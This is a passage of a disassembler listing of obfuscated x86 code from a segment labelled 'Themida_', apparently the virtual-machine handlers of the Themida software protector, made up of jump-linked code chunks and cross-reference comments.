		sub	esi, 84387Dh
		add	ebx, esi
		pop	esi
		jmp	loc_554DEE
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------


loc_55A31F:				; CODE XREF: Themida_:0055D5BFj
		pop	ecx
		xor	cl, al
		mov	eax, [esp]
		add	esp, 4
		push	ax
		mov	ah, 52h
		xor	cl, ah
		mov	ax, [esp]
		add	esp, 2
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	6B1Fh
		jmp	loc_5588BF
; ---------------------------------------------------------------------------


loc_55A34D:				; DATA XREF: Themida_:00551390o
		lodsb
		xor	al, bl
		push	small 4139h
		mov	[esp], dx
		push	ebx
		jmp	loc_555CB7
; ---------------------------------------------------------------------------


loc_55A35E:				; CODE XREF: Themida_:0055BCA5j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ebp
		push	esp
		jmp	loc_554343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A36F:				; CODE XREF: sub_55ABF6+200Cj
		inc	eax
		push	edx
		push	ebp
		mov	ebp, 49880E99h
		mov	edx, 11461834h
		add	edx, ebp
		push	[esp+2+var_4+2]
		pop	ebp
		add	esp, 4
		add	edx, 66497832h
		push	ebx
		jmp	loc_555BFE
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55A394:				; CODE XREF: Themida_:00556528j
		add	eax, ebx
		jmp	loc_558CA4
; ---------------------------------------------------------------------------


loc_55A39B:				; CODE XREF: Themida_:00559786j
		pop	ebx
		sub	esi, ecx
		jmp	loc_551836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55A3A3:				; CODE XREF: sub_55326E+1j
		mov	eax, esp
		sub	esp, 4
		jmp	loc_559D3D
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------


loc_55A3B0:				; CODE XREF: Themida_:0055D6A4j
		neg	edx
		shl	edx, 5
		xor	edx, 90C4EE02h
		push	edx
		mov	edx, 7F55430Bh
		jmp	loc_559C65
; ---------------------------------------------------------------------------


loc_55A3C6:				; CODE XREF: Themida_:00551E63j
		mov	esi, 0AB26666h
		sub	[esp+8], esi
		pop	esi
		pop	ebx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A3D6:				; CODE XREF: sub_55ABF6+6B0j
		add	esp, 4
		pop	[esp-6+arg_0+2]
		mov	esp, [esp-0Ah+arg_4+2]
		jmp	loc_558007
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55A3E4:				; CODE XREF: sub_554592+6431j
		pop	ebx
		xor	ebp, 72F35B36h
		jmp	loc_5566A1
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_55A3F0:				; CODE XREF: Themida_:0055AA51j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55CF16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523C6


loc_55A3FE:				; CODE XREF: sub_5523C6+6j
		or	[edx+38h], ebp
		pop	ebp
		jmp	sub_555891
; END OF FUNCTION CHUNK	FOR sub_5523C6

; =============== S U B	R O U T	I N E =======================================



sub_55A407	proc near		; DATA XREF: Themida_:005512CCo

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552AE7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00553481 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055639A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00557E4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A48F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055B07E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055B276 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055D04C SIZE 00000024 BYTES

		mov	ax, [esp+0]
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 2C51306h
		jmp	loc_552AE7
sub_55A407	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_55B706
; ---------------------------------------------------------------------------


loc_55A423:				; CODE XREF: Themida_:00555FD8j
		and	edx, edi
		jmp	loc_553B57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A42A:				; CODE XREF: sub_55ABF6-1686j
		pop	eax
		add	ecx, 2
		push	ecx
		jmp	loc_552A50
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55A437:				; CODE XREF: sub_55AE3A+223Ej
		pop	ecx
		push	ecx
		sub	esp, 4
		jmp	loc_55ADDA
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551EE6


loc_55A444:				; CODE XREF: sub_551EE6+3j
		add	ebx, 4
		jmp	loc_5559BB
; END OF FUNCTION CHUNK	FOR sub_551EE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BDF0


loc_55A44F:				; CODE XREF: sub_55BDF0-8E7Cj
		mov	esi, 2
		sub	eax, 4F883E15h
		add	eax, esi
		jmp	sub_55B560
; END OF FUNCTION CHUNK	FOR sub_55BDF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A460:				; CODE XREF: sub_55ABF6-2A60j
		push	eax
		jmp	loc_55AB12
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_55A466:				; CODE XREF: sub_55D40D-32B4j
		push	2922h
		jmp	loc_559E5E
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55A470:				; CODE XREF: sub_55BB30-93A4j
		mov	edi, [esp+8+var_8]
		jmp	loc_55B92C
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55A478:				; CODE XREF: sub_552215+88F8j
		mov	ecx, [esp+4+var_4]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 450113C6h
		or	edi, 17CF657Fh
		jmp	loc_55C90A
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A407


loc_55A48F:				; CODE XREF: sub_55A407-4050j
		add	esp, 4
		add	esi, 3D526E2Eh
		jmp	loc_557E4E
; END OF FUNCTION CHUNK	FOR sub_55A407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BEDA


loc_55A4A0:				; CODE XREF: sub_55BEDA-7CE0j
		add	esp, 4
		push	ecx
		mov	ecx, 73DA2E71h
		jmp	loc_551A4A
; END OF FUNCTION CHUNK	FOR sub_55BEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A4B1:				; CODE XREF: sub_55ABF6-1006j
		or	esi, 40186FB1h
		jmp	loc_55B76B
; ---------------------------------------------------------------------------


loc_55A4BC:				; CODE XREF: sub_55ABF6-31BFj
		mov	ebp, edi
		pop	edi
		mov	ebx, 0CE3DF5EBh
		add	ebx, ebp
		pop	ebp
		sub	ebx, 7DD03AC1h
		add	ebx, 977928h
		add	ebx, edi
		jmp	loc_55A074
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55A4DA	proc near		; DATA XREF: Themida_:005513A4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055181D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00551E75 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552331 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005526B4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005529FA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552A6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552E07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055300C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00553260 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00553506 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00553633 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00553867 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00553A44 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00553D6A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00553E45 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00553EAD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005545A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005545B4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00554BCC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554FBA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055545D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005554D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00555FDD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00556177 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005563EA SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0055671C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055690C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005569CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055726A SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005572A0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005572D9 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055819B SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00558688 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00558B02 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005594F9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005597A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A1B4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055A7C7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055A94C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055AE18 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055AF5A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055AF7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055C53C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C5D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C62E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055CC5A SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0055D415 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055D751 SIZE 0000001D BYTES

		lodsd
		push	ebp
		mov	ebp, 76074B69h
		add	ebp, 0A82FF1h
		xor	ebp, 17063B25h
		sub	ebp, 1
		add	ebp, 0ED390AC5h
		sub	eax, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_553867
sub_55A4DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_55A503:				; CODE XREF: sub_55AE3A+2024j
		mov	ah, 78h
		xor	dh, ah
		mov	eax, [esp+6+var_6]
		push	ebp
		jmp	loc_55328A
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_55A510:				; CODE XREF: Themida_:0055C025j
		push	edx
		push	35AC5930h
		pop	edx
		push	edi
		push	1B361B94h
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555FCE
; ---------------------------------------------------------------------------


loc_55A52E:				; CODE XREF: Themida_:00551BBCj
		sub	eax, edi
		add	eax, 3C38738Ch
		add	eax, 59D42044h
		pop	edi
		push	ecx
		mov	ecx, 475348FFh
		add	eax, ecx
		pop	ecx
		add	eax, ebx
		sub	eax, 475348FFh
		add	eax, 49E9105Fh
		push	esi
		jmp	loc_555935
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55A556:				; CODE XREF: sub_55CE17-6B85j
		mov	[esp-4+arg_0], ecx
		jmp	loc_5521FB
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55A55E:				; CODE XREF: Themida_:0055D525j
		pop	ebp
		push	ecx
		mov	ecx, 4F7F6DCBh
		xor	ecx, 495D2EDFh
		add	ebp, 65214E19h
		add	ebp, ecx
		sub	ebp, 65214E19h
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	ecx
		push	ebx
		jmp	loc_554416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5578E3


loc_55A584:				; CODE XREF: sub_5578E3+57BCj
		add	eax, 4
		jmp	loc_555EBA
; END OF FUNCTION CHUNK	FOR sub_5578E3
; ---------------------------------------------------------------------------


loc_55A58E:				; CODE XREF: Themida_:005577ACj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_5599A4
; ---------------------------------------------------------------------------


loc_55A5B2:				; CODE XREF: Themida_:0055B737j
		mov	edi, 72A76645h
		shl	edi, 1
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		sub	ebx, 0FFFFFFFFh
		xchg	ebx, edi
		add	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_55D0A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55A5CD:				; CODE XREF: sub_559249-56D0j
		push	33E5h
		mov	[esp+0Ch+var_C], ecx
		push	eax
		mov	eax, 15E262A9h
		jmp	loc_5560CC
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_55A5E0:				; CODE XREF: sub_555211+6892j
		shl	eax, 6
		sub	eax, 0A85AC2FCh
		add	ebx, eax
		mov	eax, [esp+8+var_8]
		push	edi
		mov	edi, esp
		push	ecx
		push	edx
		mov	edx, 75940A2Ch
		mov	ecx, 984B4B80h
		sub	ecx, edx
		jmp	loc_55C9F1
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A603:				; CODE XREF: sub_55ABF6-3C5Fj
		pop	ebx
		push	7A2h
		mov	[esp-12h+arg_C+2], eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_558095
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55A614:				; CODE XREF: Themida_:00556F24j
		mov	ecx, 673C65BBh
		sub	eax, ecx
		jmp	loc_552F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55A620:				; CODE XREF: sub_552791+19Cj
		add	al, bl
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	sub_555A6F
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55A630:				; CODE XREF: sub_559249+2F0Fj
		add	eax, 3516D57h
		jmp	loc_558168
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A63A:				; CODE XREF: sub_55ABF6-3A2j
		add	esp, 4
		or	edi, 43835EBh
		push	8EDh
		mov	[esp-0Eh+arg_8+2], ecx
		jmp	loc_5546CF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_55A653:				; CODE XREF: sub_556E4D+34A1j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------


loc_55A658:				; CODE XREF: Themida_:005589CEj
		sub	eax, 8874140h
		add	eax, ebx
		push	esi
		jmp	loc_558EDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_55A665:				; CODE XREF: sub_556BCD-C23j
		xor	dl, 0FBh
		mov	ch, dl
		pop	edx
		shl	ch, 5
		xchg	ah, ch
		neg	ah
		xchg	ah, ch
		or	ch, 0DFh
		shl	ch, 1
		add	ch, 65h
		mov	dh, ch
		mov	ecx, [esp+4+var_4]
		jmp	loc_55D235
; END OF FUNCTION CHUNK	FOR sub_556BCD

; =============== S U B	R O U T	I N E =======================================



sub_55A686	proc near		; CODE XREF: sub_55B3F3+1979j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557015 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_557015
sub_55A686	endp

; ---------------------------------------------------------------------------


loc_55A69C:				; CODE XREF: Themida_:00551DEAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55A6AB:				; CODE XREF: sub_558326-5970j
		pop	ebx
		push	eax
		jmp	loc_551E86
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
		lodsb
		add	al, 8Fh
		sub	al, 0FCh
		jmp	loc_55D626
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_55A6BC:				; CODE XREF: sub_557D5E+3C52j
		add	edi, 4
		jmp	loc_55247B
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------


loc_55A6C7:				; CODE XREF: Themida_:0055BE98j
		xor	cl, 0F3h
		or	cl, 0FBh
		jmp	loc_55556A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551C53


loc_55A6D2:				; CODE XREF: sub_551C53+5j
		mov	bh, 0BBh
		add	bh, ch
		pop	ecx
		not	bh
		push	eax
		push	ebx
		jmp	loc_557A8A
; END OF FUNCTION CHUNK	FOR sub_551C53
; ---------------------------------------------------------------------------


loc_55A6E0:				; CODE XREF: Themida_:00551E15j
		push	ebp
		mov	ebp, 28CD2FE4h
		xchg	eax, ebp
		inc	eax
		xchg	eax, ebp
		sub	ebp, 6E1A4390h
		push	ecx
		mov	ecx, 454D13AFh
		add	ebp, ecx
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 2
		push	ecx
		jmp	loc_556C1A
; ---------------------------------------------------------------------------


loc_55A70F:				; CODE XREF: Themida_:00554AD4j
		add	edx, ebx
		pop	ebx
		add	edx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6C4938A9h
		sub	edx, eax
		jmp	loc_55718C
; ---------------------------------------------------------------------------


loc_55A726:				; CODE XREF: Themida_:00558B63j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	647Eh
		mov	[esp], ecx
		push	edx
		mov	edx, 268B6B33h
		not	edx
		jmp	loc_559624
; ---------------------------------------------------------------------------


loc_55A756:				; CODE XREF: Themida_:00554857j
		pop	ecx
		jmp	loc_55A8FA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55A76A:				; CODE XREF: sub_55910B+22F1j
		sub	al, bl
		jmp	loc_55BA27
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_55A771:				; CODE XREF: Themida_:00555F40j
		xchg	esi, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55A77F:				; CODE XREF: sub_55CE17-78D6j
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_55B500
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55A78B:				; CODE XREF: sub_55C814+148Cj
		pop	ebp
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+0]
		push	679Dh
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, 1
		add	[edi+24h], esi
		jmp	loc_55DA9D
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55A7C7:				; CODE XREF: sub_55A4DA-5503j
		xchg	esi, [esp+10h+var_10]
		pop	esp
		sub	ebx, 61991B1Bh
		jmp	loc_55AF7D
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558B68


loc_55A7DF:				; CODE XREF: sub_558B68-4B8Cj
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	edx
		mov	edx, 1B0311AAh
		dec	edx
		jmp	loc_5541FF
; END OF FUNCTION CHUNK	FOR sub_558B68
; ---------------------------------------------------------------------------


loc_55A7FA:				; CODE XREF: Themida_:00556128j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55A0E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55A80C:				; CODE XREF: sub_55C1DB+14D7j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		shl	ebp, 1
		not	ebp
		neg	ebp
		jmp	loc_552544
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55A81D:				; CODE XREF: sub_55A0D6-3347j
		mov	edx, 4
		add	[esp+0Ch+var_8], edx
		pop	edx
		jmp	loc_558041
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_55A82C:				; CODE XREF: Themida_:0055C270j
		push	dword ptr [eax]
		jmp	loc_5514E3

; =============== S U B	R O U T	I N E =======================================



sub_55A833	proc near		; DATA XREF: Themida_:0055128Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552959 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00552A3F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00554FDC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00555124 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055CBA3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055D178 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055DD94 SIZE 0000001B BYTES

		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_552959
		add	esi, 6EA47202h
		push	1BF1h
		mov	[esp+4+var_4], edi
		jmp	loc_55DD94
sub_55A833	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55A851:				; CODE XREF: sub_55ABF6+DBj
		mov	edi, [esp-0Eh+arg_8+2]
		jmp	loc_55A63A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_55A859:				; CODE XREF: sub_553144-53Fj
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 1
		jmp	loc_556961
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------


loc_55A86A:				; CODE XREF: Themida_:00554EF2j
		mov	edx, 3889582Ah
		and	edx, 5A2152A4h
		xor	edx, 8BF58DD2h
		add	ebp, edx
		jmp	loc_558437
; ---------------------------------------------------------------------------


loc_55A882:				; CODE XREF: Themida_:0055B71Aj
		pop	edx
		inc	edx
		shl	edx, 6
		sub	edx, 2C451864h
		sub	edx, 2A003918h
		jmp	loc_556138
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55A898:				; CODE XREF: sub_554592-1BEAj
		push	eax
		not	[esp+0Ch+var_C]
		pop	eax
		shr	eax, 1
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_55A9AB
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_55A8AE:				; CODE XREF: Themida_:0055B66Aj
		push	edi
		push	ecx
		mov	ecx, 38B1F5Eh
		sub	[esp+4], ecx
		push	dword ptr [esp]
		jmp	loc_5567DA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55A8D1:				; CODE XREF: Themida_:0055C74Bj
		add	esi, 0ABD3003h
		shr	esi, 4
		shl	esi, 7
		xor	esi, 216D572Ch
		add	eax, esi
		pop	esi
		sub	eax, 71390AC2h
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_55A8FA:				; CODE XREF: Themida_:0055A757j
		push	ecx
		jmp	loc_554B52
; ---------------------------------------------------------------------------


loc_55A900:				; CODE XREF: Themida_:00554A80j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55882F

; =============== S U B	R O U T	I N E =======================================



sub_55A918	proc near		; DATA XREF: Themida_:005512B0o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0055217C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055538C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556FAC SIZE 00000013 BYTES

		lodsb
		push	ecx
		mov	cl, 26h
		push	eax
		jmp	loc_55538C
sub_55A918	endp


; =============== S U B	R O U T	I N E =======================================



sub_55A922	proc near		; DATA XREF: Themida_:00551288o
		lodsd
		xor	eax, ebx
		push	ebp
		jmp	sub_55C1DB
sub_55A922	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55A92B:				; CODE XREF: sub_5546E4+7268j
		mov	edi, 2A715530h
		push	edi
		neg	[esp+8+var_8]
		pop	edi
		push	0
		jmp	loc_5544FA
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------


loc_55A93F:				; CODE XREF: Themida_:0055429Fj
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55A94C:				; CODE XREF: sub_55A4DA-6A7Ej
		push	[esp+0Ch+var_C]
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 61E7658Eh
		sub	edx, 61E7658Ah
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	sub_55C87F
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_55A976:				; CODE XREF: Themida_:00559398j
		neg	edi
		sub	edi, 563509E2h
		inc	edi
		add	edi, 0BF197CEAh
		push	ebp
		mov	ebp, 7A90298Ch
		sub	ecx, ebp
		pop	ebp
		add	ecx, edi
		add	ecx, 7A90298Ch
		mov	edi, [esp]
		jmp	loc_5575A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556D34


loc_55A99E:				; CODE XREF: sub_556D34+18F5j
		add	ebx, esi
		sub	ebx, 31C16796h
		jmp	loc_55DC6D
; END OF FUNCTION CHUNK	FOR sub_556D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_55A9AB:				; CODE XREF: sub_554592+6317j
		mov	ebx, 185C70A0h
		neg	ebx
		add	ebx, 24AC2A5Bh
		neg	ebx
		inc	ebx
		add	ebx, 6519E618h
		mov	ebp, ebx
		jmp	loc_55A3E4
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B7DE


loc_55A9C8:				; CODE XREF: sub_55B7DE-1F62j
		mov	[esp+4+var_4], edi
		push	ebp
		push	esi
		mov	esi, 524B3B64h
		sub	esi, 2901329Bh
		mov	ebp, esi
		jmp	loc_55DB6B
; END OF FUNCTION CHUNK	FOR sub_55B7DE
; ---------------------------------------------------------------------------


loc_55A9DF:				; CODE XREF: Themida_:00555D08j
		mov	dl, 0D1h
		sub	ah, 1
		jmp	loc_55BCD3
; ---------------------------------------------------------------------------
